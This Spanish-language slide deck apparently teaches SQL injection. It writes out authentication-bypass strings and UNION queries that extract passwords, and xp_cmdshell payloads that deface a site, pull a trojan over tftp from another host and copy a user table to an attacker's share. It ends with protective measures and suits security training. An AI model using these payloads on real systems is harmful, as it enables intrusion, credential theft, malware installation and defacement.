+ All Categories
Home > Documents > SQL Injection

SQL Injection

Date post: 02-Jul-2015
Category:
Upload: juan-d-diaz
View: 459 times
Download: 3 times
Share this document with a friend
16
SQL INJECTION JORGE MARIO RODRIGUEZ CISSP – CISM - CHFI
Transcript
Page 1: SQL Injection

SQL INJECTION

JORGE MARIO RODRIGUEZ

CISSP – CISM - CHFI

Page 2: SQL Injection

QUE ES SQL INJECTION

• Es el uso de comandos SQL para poder alterar la información, ganar acceso o crear negaciones de servicio mediante la ejecución de estos comandos a través de páginas Webs.

• Este tipo de ataque aprovecha las falencias de programación que no validan las entradas realizadas por los usuarios a nivel de URL o Formularios.

Page 3: SQL Injection

SQL INJECTION

• USOS.

- Acceso remoto.

- Negación de servicio.

- Manipulación de Base de datos.

Page 4: SQL Injection

PASOS

• Buscar en la página WEB datos de entrada. (Páginas de login, formularios, etc).

• Identificar páginas HTML que usen POST y GET.

• Revisar código fuente.• Busque por páginas con extensiones ASP, JSP,

CGI o PHP.• Busque URLs que permitan el uso de variables

como por Ejm. http://www.ejemplo.com/index.php?lang=Es

Page 5: SQL Injection

TECNICAS DE ATAQUE EN SQL INJECTION

• Sobrepaso de autorización.

Es usada para sobrepasar controles de autorización y ganar acceso.

• Usando el comando SELECT.

Es usada para conseguir información de las bases de datos.

• Usando el comando INSERT. Usada para alterar el contenido de una base de datos.

• Usando procedimientos almacenados de SQL.

Page 6: SQL Injection

Formas de probar vulnerabilidades SQL Injection

• xxx´ or 1=1--• Login:xxx´or 1=1--• Password: xxx´or 1=1--• http://www.ejemplo.com/jm.asp?user=xxx´ or 1=1--

Se deben usar múltiples opciones considerando las siguientes posibilidades:

´ or 1=1-- “ or 1=1-- ´ or ‘a’=‘a “ or “a” =“a ‘) 0r (´a`=´a)

Page 7: SQL Injection

COMO FUNCIONA

• Query original.

• Query Alterado.

Page 8: SQL Injection

USO DE PROCEDIMIENTOS ALMACENADOSmaster..xp_cmdshell

• Ejecución de comandos. xxx`;exec master..xp_cmdshell “comado” --• Ping. xxx`;exec master..xp_cmdshell “ping 10.1.1.3” --• Listar directorios. xxx`;exec master..xp_cmdshell “dir c:\*.* /s > c:\directorios.txt” --• Crear archivo xxx`;exec master..xp_cmdshell “echo Fuiste-hackeado > c::\hack.txt” --• Defacement. xxx`exec master..xp_cmdshell “echo Este-es-el-peor-web-site > c:\

inetpub\www.root\index.htm” --• Ejecutar una aplicación (no gráfica) xxx`;exec master..xp_cmdshell “cmd.exe /c aplicación.exe” --

Page 9: SQL Injection

USO DE PROCEDIMIENTOS ALMACENADOSmaster..xp_cmdshell

• Cargue de un troyano al servidor

xxx`;exec master..xp_cmdshell “tftp -i 10.0.2.3 GET troyano.exe c:\toyano.exe” --

• Descarga de un archivo del servidor

xxx`;exec master..xp_cmdshell “tftp -i 10.0.2.3 put c:\windows\sytem32\calc.exe calc.exe” --

USO DE PROCEDIMIENTOS ALMACENADOSmaster..sp_makewebtask

• Exportar una tabla a una carpeta compartida del atacante

xxx’;exec master..sp_makewebtask \\192.168.9.2\compartido\claves.html”,”SELECT * FROM USUARIOS”

Page 10: SQL Injection

SQL INJECTION

• Obteniendo nombres de columnas de una tabla http://www.ejemplo.com/page.asp?dato=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=‘usuarios’ --

• Obteniendo informacion detallada de usuarios. http://www.ejemplo.com/page.asp?dato=10 UNION SELECT TOP 1 password FROM

usuarios where login=´pedro` --

• Actualizando un dato. http://www.ejemplo.com/page.asp?dato=10; UPDATE ´usuarios` SET ´password`=

´newpass` WHERE login=´pedro` --

• Insertando un dato. http://www.ejemplo.com/page.asp?dato=10; INSERT INTO´usuarios` (´login`,

´nombre`, ´password`) VALUES (´hacker`, ´xxxxx`, ´newpass`) --

Page 11: SQL Injection

SQL INJECTION TOOLS

• SQLDict Herramienta de ataque de diccionario para servidores SQL.

• SqlExec Ejecuta comandos en el servidor SQl usando el procedimiento almacenado xp_cmdshell. Usa una clave NULL para el usuario “sa”.

• SQLSmack Basada en Linux, permite la ejecución de comandos, conociendo el usuario y clave de ¨sa¨ mediante el uso del procedimiento almacenado master..xp_cmdshell

Page 12: SQL Injection

SQL INJECTION TOOLS

• sqlmap Herramienta desarrollada en phython que tiene funcionalidades de enumeracion.• Sqlninja Herramienta que explota las vulnerabilidades SQL entre las que se destacan: - Enumeración. - Ataque de fuerza Bruta al password de “sa”. - Escalación deprivilegios a “sa”. - Crea su propio xp_cmdshell si el original ha sido deshabilitado. - Sube ejecutables. - Usa shell de conexión inversa y directa.• SQLIer Solo se le da la URL vulnerable e intenta explotarla sin interacción del

usuario,tambien realiza crack de contraseñas, una contraseña de 8 caracteres puede tomar cerca de un mínuto.

• Automagic SQL Injector Diseñada para pruebas de penetración. Algunas de sus caracteristicas son:

- Busca tablas y exporta los datos a archivos cvs. - Sube archivos al servidor. - Usa shell reverso. - Usa xp_cmdshell emulando al cmd.exe• Absinthe Herramienta con entorno gráfico, permite descargar el esquema y contenido de las

base de datos. Algunas de sus caracteristicas son: - Inyección automática de parametros SQL. - Soporte para multiples motores de DBs - Uso de proxies. - manejo de headers HTTP y Cookies.

Page 13: SQL Injection

Blind SQL Injection

Metodo usado para atacar y ganar acceso al servidor de base de datos mediante un programa tipo cliente y así ejecutar comandos SQL directamente sobre el servidor, permitiendo modificar, adicionar o eliminar información de la DB.

Page 14: SQL Injection

MEDIDAS DE PROTECCION

• Separación del servidor de Aplicaciones del servido de DB.

• Todos los requerimientos solicitados por la aplicación deben estar en procedimientos almacenados.

• La ejecución de procedimientos almacenados se debe hacer por medio de interfases seguras como JDBC o ADO.

• Los procedimientos almacenados deben ser compilados antes de que la entrada de un usuario sea aceptada, haciendo imposible que la entrada del usuario modifique el query SQL.

Page 15: SQL Injection

MEDIDAS DE PROTECCION• Uso de reglas a nivel de IDS que detecten expresiones de SQL

injection.• Minimice los privilegios de conexión a la DB.• Realice hardening de la cuenta “sa”• Audite código fuente.• Valide las entradas en los campos de texto.• No use SQL dinámico, trate de usar consultas parametrizadas o

procedimientos almacenados.• No almacene información sensible en texto claro.• Use errores personalizados y evite revelar datos sensibles cuando

ocurre un error.• Use herramientas de monitoreo como SQLBlock.• Realice pruebas de vulnerabilidad con herramientas que se

especializadas en SQL injection (Acunetix)

Page 16: SQL Injection

Recommended